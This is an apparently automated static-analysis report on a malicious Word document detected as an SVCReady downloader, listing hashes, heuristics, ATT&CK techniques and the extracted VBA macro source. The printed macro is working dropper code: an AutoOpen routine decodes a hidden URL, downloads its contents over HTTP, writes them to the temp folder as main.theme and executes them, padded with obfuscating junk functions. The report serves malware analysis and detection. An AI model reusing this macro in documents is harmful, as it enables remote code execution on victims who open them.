Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 d20708c9395310f9…

MALICIOUS

Office (OOXML)

114.0 KB Created: 2020-07-28 09:33:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: 121aed9f82392b2986ec187330d7efa8 SHA-1: c65f33c8a0b7be42876b810046c0fd141891493a SHA-256: d20708c9395310f9fcf5d1bc735378e1bddfdbd54efc4ef569edf65a6034657b
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious OOXML document containing a VBA macro. The AutoOpen macro executes a command that writes a file to the user's temporary directory and then executes it. The script attempts to obfuscate the payload by concatenating strings and using the Environ function to determine the temporary directory path, ultimately constructing the command to execute "C:\Users\Public\main.theme" or "C:\Windows\Temp\main.theme".

Heuristics 7

  • ClamAV: Doc.Downloader.SVCReady-8f5af0a5f0da7070-9951542-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.SVCReady-8f5af0a5f0da7070-9951542-0
  • External relationship high OOXML_EXTERNAL_REL
    External target in word/_rels/document.xml.rels: file:///C:\Framework\rels\builds\pack1\us.jpg
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
    • http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
    • http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3845 bytes
SHA-256: 79d7a5a8a5226bdc148477a863606b8b6bae66967dcdbbb19d5713fa82b18488
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "b50ee96f"
Function a9197ed0()
a9197ed0 = ActiveWindow.Visible
End Function
Function e0109a03()
e0109a03 = 0
End Function
Function ef4e08e7()
ef4e08e7 = ActiveWindow.Height
End Function
Sub AutoOpen()
Dim bfa3dd7c As New d6c588c0
aaa = c9eabbd0(b13dbb12)
c44d2db8 = bfa3dd7c.a4f89702(aaa, "")
bfaebd58 c999b0da, c44d2db8
c1785ad2 = c9eabbd0(ActiveDocument.Shapes(1).Title)
Dim f8f2659f As New WshShell
f8f2659f.exec "" & c1785ad2 & " " & c999b0da
End Sub

Attribute VB_Name = "bac883b5"
Function f2bb7a50()
f2bb7a50 = Application.ActiveDocument.AutoSaveOn
End Function
Function e1bf74c8()
e1bf74c8 = Application.ActiveDocument.AttachedTemplate
End Function
Function fba10eda()
fba10eda = Application.ActiveDocument.ActiveThemeDisplayName
End Function
Sub bfaebd58(ef74fb1e, fc3360c9)
Dim a1ef5230
a1ef5230 = FreeFile
Open ef74fb1e For Output As #a1ef5230
Print #a1ef5230, a73da6c0(fc3360c9)
Close #a1ef5230
End Sub
Function c999b0da()
c999b0da = Environ("tmp") & "\main.theme"
End Function
Function b57a5689()
b57a5689 = ActiveWindow.HorizontalPercentScrolled
End Function
Function b9235a19(dcb867ac As Long) As Long
Dim c7541651 As Long
For c7541651 = 45 To 60 Step 5
dcb867ac = dcb867ac - c7541651
Next c7541651
b9235a19 = dcb867ac
End Function
Function c1350434()
c1350434 = Application.ActiveDocument.AutoHyphenation
End Function
Function c9eabbd0(ef2f9d87)
For a6de69c6 = 1 To Len(ef2f9d87) Step 3
f6903279 = Mid(ef2f9d87, a6de69c6, 1)
cb6be70d = cb6be70d & f6903279
Next
c9eabbd0 = cb6be70d
End Function
Function f817bba1()
f817bba1 = ActiveWindow.StyleAreaWidth
End Function
Function e4367254(e0869532 As Long) As Long
Dim ee779b8f As Integer
For ee779b8f = 18 To 58 Step 4
e0869532 = e0869532 + ee779b8f
Next ee779b8f
e4367254 = e0869532
End Function
Function ea3e8b4d()
ea3e8b4d = -2017048810
End Function
Sub ce440da2()
End Sub
Function d72f532c()
d72f532c = Application.ActiveDocument.CompatibilityMode
End Function
Function f19b830a()
f19b830a = ActiveWindow.DisplayRightRuler
End Function
Function b4099f14()
b4099f14 = 42529.699167192
End Function
Function a73da6c0(fc3360c9)
a73da6c0 = StrConv(fc3360c9, 64)
End Function
Function ec4d2e2a()
ec4d2e2a = ActiveWindow.DisplayScreenTips
End Function
Function d3066faf()
d3066faf = "Multiplexers clambered idiom"
End Function
Function dc530776()
dc530776 = 47855.760101209
End Function
Function b13dbb12()
b13dbb12 = ActiveDocument.Shapes(1).AlternativeText
End Function

Attribute VB_Name = "d6c588c0"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function a8e63b5f()
a8e63b5f = Application.ActiveDocument.Application
End Function
Function e22af394()
e22af394 = Application.ActiveDocument.Application
End Function
Function b484740f()
b484740f = ActiveWindow.Index
End Function
Function a4f89702(fc7d3282, eee3abc0)
Dim f4c2e937 As Object
Set f4c2e937 = New MSXML2.XMLHTTP60
Call f4c2e937.Open("GET", fc7d3282, False)
f4c2e937.Send
a4f89702 = f4c2e937.responsebody
End Function
Function c73f93de()
c73f93de = ActiveWindow.Index
End Function
Function cffe707a()
cffe707a = ActiveWindow.EnvelopeVisible
End Function
Function dd27b3a1()
dd27b3a1 = ActiveWindow.StyleAreaWidth
End Function
Function f99a57f8(e803d996)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 26112 bytes
SHA-256: 476ac7a396f6e5ed3ca7e0d3111bd65773a96a4c3254c01c4a575a822e461286

Open this report in the interactive analyzer, or submit your own file for analysis.